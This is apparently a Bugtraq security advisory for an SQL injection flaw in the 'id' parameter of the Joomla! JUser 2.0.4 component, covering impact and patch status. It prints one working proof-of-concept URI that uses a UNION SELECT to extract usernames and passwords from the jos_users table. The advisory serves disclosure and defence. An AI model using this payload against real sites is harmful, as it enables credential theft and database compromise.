Joomla! JUser Component 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	35160
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 01 2009 12:00AM
Updated:	Jun 02 2009 04:59PM
Credit:	Chip D3 Bi0s
Vulnerable:	Joomla Equipment JUser 2.0.4
Not Vulnerable:

Joomla! JUser Component 'id' Parameter SQL Injection Vulnerability

The Joomla! JUser component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

JUser 2.0.4 is vulnerable; other versions may also be affected.

Joomla! JUser Component 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_juser&task=show_profile&id=70+and+1=2+union+select+1,2,concat(username,0x3a,password)chipdebi0s,4,5,6,7,8,9,10,11,12,13+from+jos_users--

Joomla! JUser Component 'id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! JUser Component 'id' Parameter SQL Injection Vulnerability

References:

• Vendor Homepage (Joomla Equipment)